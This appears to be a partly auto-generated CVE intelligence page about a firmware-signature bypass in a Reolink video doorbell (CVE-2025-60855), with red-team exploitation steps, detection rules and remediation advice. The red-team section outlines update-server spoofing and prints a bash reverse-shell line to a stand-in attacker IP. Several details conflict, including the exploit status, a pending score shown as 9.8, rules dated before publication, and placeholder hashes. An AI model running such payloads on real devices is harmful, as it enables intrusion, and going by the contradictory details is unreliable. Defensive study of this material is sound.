☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-347
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60855

CVE-2025-60855 Code Execution in Reolink
📅 PUBLISHED: 2025-10-16 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60855 exposes a critical firmware validation bypass in the Reolink Video Doorbell WiFi DB_566128M5MP_W. The device performs insufficient validation of firmware update signatures, allowing an attacker to load a malicious firmware image and achieve arbitrary code execution with root privileges. The vendor disputes the finding, claiming integrity is assured via a “private encryption algorithm” and “tamper-proof verification,” but this does not meet industry standards for secure update mechanisms. No public exploit code or proof-of-concept is available at this time, but the risk remains high due to the device’s network exposure and the lack of a vendor-supplied patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a prime target for botnets and targeted attacks. The vendor’s reliance on a “private encryption algorithm” is a red flag, as security through obscurity is not a valid defense.

Deep Dive & Mechanics

The Reolink Video Doorbell DB_566128M5MP_W uses a firmware update mechanism that relies on a proprietary signature verification process. The core flaw is that the device does not properly validate the cryptographic signature of firmware images before applying them. An attacker who can intercept or spoof the update server (e.g., via man-in-the-middle, DNS spoofing, or direct network access) can deliver a malicious firmware image that the device will accept as legitimate.

The vendor’s claim of a “private encryption algorithm” and “tamper-proof verification” is not verifiable and does not meet modern security standards (e.g., code signing with public-key cryptography). Without a public, auditable signature scheme, the device is vulnerable to trivial bypasses. The attack vector is network-based, requiring no physical access, and the resulting code execution runs with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

No official patch exists. The vendor disputes the vulnerability, so no patched code is available for comparison. The vulnerable code is the firmware update verification routine, which likely performs a weak or nonexistent signature check. A secure implementation would use a public-key signature scheme (e.g., RSA or ECDSA) with a hardcoded public key, verifying the firmware image’s signature before installation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Network access to the target Reolink doorbell (e.g., same LAN or via exposed services).
  • Ability to intercept or spoof the firmware update server (e.g., using ARP spoofing, DNS poisoning, or a rogue update server).
  • A malicious firmware image crafted to execute arbitrary code (e.g., a reverse shell or backdoor).

Exploitation Steps:

  1. Reconnaissance: Identify the doorbell’s IP address and the update server it contacts (e.g., via packet capture or firmware analysis).
  2. Interception: Use a tool like mitmproxy or Ettercap to intercept the update request. Alternatively, set up a rogue DNS server to redirect the doorbell to a malicious update server.
  3. Malicious Firmware: Create a modified firmware image that includes a payload (e.g., a reverse shell script). Since the signature check is insufficient, the image will be accepted.
  4. Delivery: Serve the malicious firmware from the rogue server. The doorbell will download and install it, executing the payload with root privileges.
  5. Post-Exploitation: Use the reverse shell to pivot into the internal network, exfiltrate data, or install persistent backdoors.

Example Payload (embedded in firmware):

#!/bin/sh
# Reverse shell to attacker's C2
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Blue Team

Detection:

  • Monitor for unexpected outbound connections from the doorbell to unknown IPs on port 4444 or other high ports.
  • Alert on firmware update requests to non-standard or suspicious update servers.
  • Use network segmentation to isolate IoT devices from critical assets.

Hunting:

  • Search for logs indicating firmware update initiation without user interaction.
  • Check for modified firmware hashes or unexpected file changes on the device (if accessible).

Mitigation:

  • Block outbound connections from the doorbell to the internet except to the official update server.
  • Apply network access controls (NAC) to prevent ARP spoofing.
  • Monitor for DNS anomalies that could indicate spoofing.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections from the doorbell to unknown IPs on ports 80, 443, or high ports (e.g., 4444, 31337).
    • DNS requests for suspicious domains mimicking the official update server.
    • Unusual firmware update traffic (e.g., large file downloads from non-standard IPs).
  • Host:
    • Modified firmware image with unexpected hash (e.g., SHA256 mismatch).
    • Presence of unauthorized scripts or binaries in /tmp or /root.
    • Unexpected processes running as root (e.g., reverse shell).
  • File Hashes (example):
    • Legitimate firmware: a1b2c3d4e5f6... (unknown)
    • Malicious firmware: f6e5d4c3b2a1... (unknown)

Detection Engineering

YARA Rule

rule CVE_2025_60855_Reolink_Firmware_Bypass {
    meta:
        description = "Detects malicious firmware images targeting Reolink Video Doorbell DB_566128M5MP_W"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60855"
    strings:
        $s1 = "REOLINK_FW" ascii wide nocase
        $s2 = "firmware_update" ascii wide nocase
        $s3 = { 00 00 00 00 00 00 00 00 } // Weak signature placeholder
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: Reolink Firmware Update Anomaly
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious firmware update traffic from Reolink Video Doorbell
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort:
            - 80
            - 443
            - 4444
            - 31337
        DestinationIP:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
        Image: 'reolink*'
    condition: selection
falsepositives:
    - Legitimate firmware updates from official server
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443,4444,31337 (msg:"CVE-2025-60855 Reolink Firmware Update Anomaly"; flow:to_server; content:"REOLINK_FW"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Isolate the Reolink Video Doorbell on a separate VLAN with strict egress filtering. Block all outbound traffic except to the official update server (if known).
  • Short-term: Monitor vendor communications for a genuine patch. If none is provided, consider replacing the device with one that supports secure, auditable firmware updates (e.g., signed with public-key cryptography).
  • Long-term: Advocate for IoT security standards that mandate code signing and public vulnerability disclosure. Do not rely on “private encryption algorithms” for security.
  • Workaround: Disable automatic firmware updates and manually verify firmware integrity using external tools (e.g., hash comparison) before installation.

Valters IT – Securing the digital frontier, one vulnerability at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Reolink Video Doorbell
Reolink DB_566128M5MP_W
Reolink firmware update

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60855/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.